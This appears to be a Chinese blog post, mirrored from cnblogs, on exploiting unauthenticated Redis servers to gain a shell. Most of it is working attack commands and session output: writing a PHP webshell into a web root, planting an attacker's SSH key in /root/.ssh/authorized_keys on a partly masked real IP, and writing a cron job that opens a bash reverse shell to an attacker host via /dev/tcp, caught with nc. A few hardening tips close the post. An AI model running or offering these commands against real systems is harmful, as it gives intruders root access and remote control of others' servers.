zoukankan      html  css  js  c++  java
  • Redis未授权漏洞利用方式

    总结一下redis未授权拿shell:

    redis-cli -h ip

    >info 查看系统类型

     

    Windows

    1.找网站绝对路径
    2.config set dir 绝对路径根路径

    config get dir

    config set dbfilename indexbak.php

    set webshell "<?php phpinfo();?>"

    save

     

    Linux系统:

    第一种:写密钥

    第二种:写crotab反弹shell

    第三种:找绝对路径写webshell

     

    1)本地生成秘钥

    root@GanDolf:~# ssh-keygen  -t rsa

     

    2)将公钥写入一个文件

    root@GanDolf:~# cd /root/.ssh/

    root@GanDolf:~/.ssh# (echo -e " "; cat id_rsa.pub; echo -e " ") > foo.txt

    3)连接redis写入文件root@GanDolf:~/.ssh# cat foo.txt | redis-cli -h 210.73.90.xxx -x set crackit

    OK
    root@GanDolf:~/.ssh# redis-cli  -h 210.73.90.xxx

    210.73.90.xxx:6379> config set dir /root/.ssh/
    OK
    (1.39s)
    210.73.90.xxx:6379> CONFIG GET dir
    1) "dir"
    2) "/root/.ssh"
    210.73.90.xxx:6379> config set dbfilename "authorized_keys"
    OK
    (1.03s)
    210.73.90.xxx:6379> SAVE
    saOK
    (1.40s)
    210.73.90.xxx:6379> SAVE
    OK
    210.73.90.xxx:6379> exit
    root@GanDolf:~/.ssh# ssh

    4)连接服务器

    root@GanDolf:~/.ssh# ssh -i id_rsa root@210.73.90.xxx

     

     

    二、 利用方式不需要猜 web路径,写到cron里面

    echo -e "
    
    */1 * * * * /bin/bash -i >& /dev/tcp/xxx.xxx.xx.120/2333 0>&1
    
    "|redis-cli -h 42.121.237.23 -x set 1
    redis-cli -h 42.121.237.23
    42.121.237.23:6379> config set dir /var/spool/cron
    OK
    42.121.237.23:6379> config set dbfilename root
    OK
    42.121.237.23:6379> save
    OK


    然后本机nc -lvv 2333
    一会儿shell就弹回来了。

     

     

    修复建议:

    1)修改默认端口

    2)监听本地端口

    3)使用非root启动,否则出现漏洞1,直接拿到root权限

    4)修改配置文件,禁用相关命令

  • 相关阅读:
    通用后台管理系统(5)编写角色接口、实现、控制器、
    通用后台管理系统(1)数据库设计
    通用后台管理系统(4)编写权限接口、实现、控制器、
    php中 curl, fsockopen ,file_get_contents 三个函数
    2012年中国薪水最高的25家科技公司
    Things for Mac 教程
    php读取xml的方法
    【转】jQuery 性能
    php弹出对话框
    Mac之关机、睡眠、一直开机的利与弊
  • 原文地址:https://www.cnblogs.com/i-honey/p/9302769.html
Copyright © 2011-2022 走看看